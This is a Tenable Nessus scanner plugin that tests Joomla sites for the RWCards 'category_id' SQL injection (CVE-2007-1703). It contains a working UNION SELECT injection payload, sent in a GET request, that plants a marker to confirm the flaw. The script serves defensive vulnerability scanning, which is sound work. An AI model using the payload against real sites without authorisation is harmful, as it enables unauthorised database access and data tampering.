Vulnerabilities > CVE-2007-1703 - SQL Injection vulnerability in Joomla RWCards Component

#
# (C) Tenable Network Security, Inc.
#

include("compat.inc");

if (description)
{
  script_id(24899);
  script_version("1.23");
  script_cvs_date("Date: 2018/11/28 22:47:41");

  script_cve_id("CVE-2007-1703");
  script_bugtraq_id(23126);

  script_name(english:"RWCards Component for Joomla! 'category_id' Parameter SQLi");
  script_summary(english:"Attempts to use a SQL injection to manipulate a card title with RWCards.");

  script_set_attribute(attribute:"synopsis", value:
"The remote web server contains a PHP application that is affected by a
SQL injection vulnerability.");
 script_set_attribute(attribute:"description", value:
"The version of the RWCards component for Joomla! running on the remote
host is affected by a SQL injection vulnerability in rwcards.php due
to improper sanitization of user-supplied input to the 'category_id'
parameter before using it to construct database queries. Provided the
PHP 'magic_quotes_gpc' setting is disabled, an unauthenticated, remote
attacker can exploit this issue to manipulate database queries,
resulting in disclosure of sensitive information, modification of
data, or other attacks against the underlying database.");
  script_set_attribute(attribute:"solution", value:
"Unknown at this time." );
  script_set_cvss_base_vector("CVSS2#AV:N/AC:M/Au:N/C:P/I:P/A:P");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:U/RC:ND");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:L/A:L");
  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");

  script_set_attribute(attribute:"plugin_publication_date", value:"2007/03/27");
  script_set_attribute(attribute:"vuln_publication_date", value:"2007/03/24");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"cpe:/a:joomla:joomla\!");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2007-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("joomla_detect.nasl");
  script_require_ports("Services/www", 80);
  script_require_keys("installed_sw/Joomla!", "www/PHP");

  exit(0);
}

include("audit.inc");
include("global_settings.inc");
include("misc_func.inc");
include("http.inc");
include("webapp_func.inc");
include("url_func.inc");

app = "Joomla!";
get_install_count(app_name:app, exit_if_zero:TRUE);

port = get_http_port(default:80, php:TRUE);

install = get_single_install(
  app_name : app,
  port     : port
);
dir = install['path'];
install_url =  build_url(port:port, qs:dir);

# Verify component is installed
plugin = "RWCards";

# Check KB first
installed = get_kb_item("www/"+port+"/webapp_ext/"+plugin+" under "+dir);

if (!installed)
{
  checks = make_array();
  regexes = make_list();
  regexes[0] = make_list('.rwcardsfull', '.rwcards');
  checks["/components/com_rwcards/css/rwcards.css"] = regexes;
  checks["/components/com_rwcards/css/rwcards.filloutform.css"] = regexes;

  # Ensure plugin is installed
  installed = check_webapp_ext(
    checks : checks,
    dir    : dir,
    port   : port,
    ext    : plugin
  );
}
if (!installed) audit(AUDIT_WEB_APP_EXT_NOT_INST, app, install_url, plugin + " component");

# Try to exploit the flaw to manipulate the title in a list of "cards".
magic = SCRIPT_NAME - ".nasl" + "-" + rand();
enc_magic = "char(";
for (i=0; i<strlen(magic)-1; i++)
  enc_magic += ord(magic[i]) + ",";
enc_magic += ord(magic[i]) + ")";
exploit = "-1' UNION SELECT 1,2,03,4," +enc_magic+ ",50,044,076,0678,07--";

url = "/index.php?option=com_rwcards&task=listCards&category_id="+ urlencode(str:exploit);

w = http_send_recv3(
  method : "GET",
  item   : dir + url,
  port   : port,
  exit_on_fail : TRUE
);
res = w[2];

# There's a problem if we managed to set the title based on our magic.
if ('>Title: </td><td  class="contentdescription">' +magic+ "</td>" >< res)
{
  output = strstr(res, '>Title: </td>');
  if (empty_or_null(output)) output = res;

  security_report_v4(
    port        : port,
    severity    : SECURITY_WARNING,
    sqli        : TRUE,
    generic     : TRUE,
    request     : make_list(install_url+url),
    output      : chomp(output)
  );
  exit(0);
}
else
  audit(AUDIT_WEB_APP_EXT_NOT_AFFECTED, app, install_url, plugin + " component");